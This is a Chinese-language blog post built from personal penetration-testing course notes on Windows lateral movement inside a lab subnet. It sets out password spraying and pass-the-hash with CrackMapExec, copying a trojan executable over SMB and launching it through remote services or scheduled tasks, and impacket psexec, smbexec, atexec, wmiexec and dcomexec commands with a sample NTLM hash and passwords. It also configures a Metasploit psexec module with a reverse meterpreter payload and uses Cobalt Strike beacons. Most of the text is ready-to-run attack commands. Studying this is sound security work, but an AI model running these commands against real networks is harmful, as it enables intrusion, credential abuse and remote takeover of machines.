本篇整理自我的语雀学习笔记(课堂学习与实操记录),已转为纯文字版并按博客格式排版。

对同一网段的机器的渗透测试

  • 内网存活探测
  • 找漏洞 ,一般情况下内网中的网站服务、其他服务、设备 弱口令、历史漏洞非常多,可以用
    弱口令或历史漏洞作为突破点攻击其他机器
  • ⭐️ 基于windows 明文密码的横向移动 和 基于 windows ntlm hash 的横向移动 (pth pass
    hash 哈希传递攻击)

windows 横向移动

基于windows 明文密码的横向移动 和 基于 windows ntlm hash 的横向移动 (pth pass hash 哈 希传递攻击)

获取密码或 NTLM hash

前提:已经获取到 windows 7 操作系统工作组管理员的权限

读取 hash 和 明文密码

administrator 用户 NTLM hash :

afffeba176210fad4628f0524bfe1942

administrator 用户 明文密码 :

123.com

密码喷洒

使用已获取的密码,对局域网中其他主机进行登录,看是否有主机与自己密码一致

工具 : https://github.com/byt3bl33d3r/CrackMapExec

安装 :apt install crackmapexec

使用

明文密码喷洒

crackmapexec smb 192.168.79.0/24 -u administrator -p "123.com" --local-auth

哈希传递攻击

crackmapexec smb 192.168.79.0/24 -u administrator -H afffeba176210fad4628f0524bfe1942 --local-auth

windows 操作系统网络认证的过程中,明文密码 和 NTLM hash 看起来是等价的,为什么? (哈希传递攻击的原理、 pth、 pass the hashes)

1️⃣ 远程创建服务

端口 445

windows 可以通过 administrator 用户连接到其他主机,为其他主机创建服务

手动操作

1 先通过文件共享,传入木马 exe 文件 (该exe文件,必须是 service exe 文件)

net use \\目标ip /user:administrator 密码

**copy 木马.exe \\目标ip\c$\windows\temp\木马.exe **

2 通过远程创建服务功能,在windows7 上为 远程机器 (windows server 2008)创建服务,并 启动服务

**sc \\目标ip create 服务名 binPath= "远程机器木马exe的路径" password= 密码**

** sc \\目标ip start 服务名**

工具 psexec

https://github.com/fortra/impacket

https://github.com/maaaaz/impacket-examples-windows

psexec.exe administrator:"密码"@目标ip地址

psexec.exe administrator:"123.com"@192.168.79.95

打开新的 cmd 是目标ip地址的 cmd ,可以直接执行系统命令

原理: 启动时,上传木马,创建服务,启动服务

退出时,停止服务,删除服务,删除木马

工具 psexec PTH

** psexec.exe administrator@目标ip地址 -hashes 0:NTLMhash **

psexec.exe administrator@192.168.79.95 -hashes 0:afffeba176210fad4628f0524bfe1942

工具 msf psexec 模块

use exploit/windows/smb/psexec

msf exploit(windows/smb/psexec) > set rhost 192.168.79.95
rhost => 192.168.79.95
msf exploit(windows/smb/psexec) > set smbpass afffeba176210fad4628f0524bfe1942:afffeba176210fad4628f0524bfe1942
smbpass => afffeba176210fad4628f0524bfe1942:afffeba176210fad4628f0524bfe1942
msf exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/psexec) > set lport 56123
lport => 56123

smbpass可以是明文密码,也可以是哈希

**哈希的格式必须是32位字符:NTLMhash**

工具 cobaltstrike psexec 横向

1 上线 windows 7 beacon 并读取 ntlm hash 和明文密码

**hashdump **

**logonpasswords **

2 使用 cobaltstrike 进行内网存活探测

3 选择目标进行横向移动

4 得到windows server 2008 的beacon

正向连接内网

上线 windows 7 beacon 并读取 ntlm hash 和明文密码
使用 cobaltstrike 进行内网存活探测
创建一个正向监听器

4 进行横向移动

工具 smbexec

smbexec.exe administrator:"密码"@目标ip地址

smbexec.exe administrator@目标ip地址 -hashes 0:NTLMhash

psexec 和 smbexec 有什么区别

  • psexec 会上传一个 exe 木马文件
  • smbexec 不会上传木马文件

1 smbexec 登录后不会创建服务,只运行命令时,如 whoami 命令时,smbexec 会创建一个服务 ,服务名随机,服务的内容为 cmd.exe /c whoami > \127.0.0.1\c$_output

2 smbexec 通过文件共享服务,读取 \127.0.0.1\c$_output 里保存的命令执行结果

3 smbexec 删除服务,和命令执行结果

  • smbexec优点:没有exe文件落地
  • smbexec缺点:会留下大量的创建服务、删除服务的日志

2️⃣远程创建计划任务

端口 445 135(RPC)

手动操作

1 先通过文件共享,传入木马 exe 文件

**net use \\192.168.79.95 /user:administrator 123.com**

**net use**

**copy 79.exe \\192.168.79.95\c$\79.exe**

2 远程创建计划任务

在windows 7 操作,给 windows server 2008 创建计划任务

schtasks /create /s 192.168.79.95 /u administrator /p "123.com" /tn hana /tr "C:\\79.exe" /sc minute /mo 1

等一分钟左右,windows server 2008 即可触发计划任务,执行木马

工具 atexec

如果执行失败,就重复尝试

**atexec.exe administrator:"密码"@目标ip地址 "具体的系统命令" **

**atexec.exe administrator@目标ip地址 "具体的系统命令" -hashes 0:NTLMhash**

原理:

创建计划任务、执行计划任务、删除计划任务、通过文件共享读取命令执行结果

3️⃣wmi 横向

端口:135(rpc) 445(可选 ,如果wmi无回显,就不会用到 445)

wmi : windows 管理规范,wmic 是控制 wmi 的工具,可以实现对本地、远程计算机的硬件配 置、系统组件配置

wmic 是windows 自带的工具,无需上传任何文件,wmi 在高版本中支持流量加密

手动操作

wmic /node:目标IP /user:administrator /password:"密码" process list brief

无回显

wmic /node:目标IP /user:administrator /password:"密码" process call create "cmd.exe /c 命令"

有回显

先把命令执行结果导出到文件中,再通过 445 (smb)读取命令执行结果

wmic /node:目标IP /user:administrator /password:"密码" process call create "cmd.exe /c 命令>C:\1.txt"

type \\目标ip\c$\1.txt

工具 wmiexec

wmiexec.exe administrator:"密码"@目标ip地址

wmiexec.exe administrator@目标ip地址 -hashes 0:NTLMhash

wmiexec 也支持只用135端口的无回显命令执行

**wmiexec.exe administrator:"密码"@目标ip地址 "系统命令" -nooutput **

**wmiexec.exe administrator@目标ip地址 "系统命令" -hashes 0:NTLMhash -nooutput **

4️⃣ dcom 横向

dcom: 分布式组件对象模型,默认端口 135,和大随机端口 (49000+)

哪些dcom对象可以执行命令 :

  • ShellWindows
  • ShellBrowserWindow
  • MMC20

优点:dcom 只会使用 135 端口 、 高版本的 dcom 支持加密

工具 dcomexec

dcomexec.exe administrator:"密码"@目标ip地址 -object MMC20

dcomexec.exe administrator@目标ip地址 -hashes 0:NTLMhash -object MMC20

工具 mmcexec

等价于 dcomexec 指定 -object MMC20 选项

mmcexec.exe administrator:"密码"@目标ip地址

mmcexec.exe administrator@目标ip地址 -hashes 0:NTLMhash

5️⃣ 其他方法

  • telnet 横向移动 :端口 23 (windows 默认没有开启 telnet)
  • rdp 横向移动:端口 3389 (windows 默认没有开启 rdp)
  • winRM / winRS 横向移动 : 端口 5985 / 5986 (windows 默认没有开启 winRM 服务)

windows 域横向移动

域管理员默认可以登录到域中所有机器

psexec.exe 域名/administrator:"密码"@目标IP地址
psexec.exe baidu.com/administrator:"1qaz@WSX"@192.168.79.95
psexec.exe baidu.com/administrator:"1qaz@WSX"@192.168.79.85

域环境中,只要是域管用户,默认均可以横向 (名字不是administrator 也可以)

⚠️ 工作组横向,用户必须是 administrator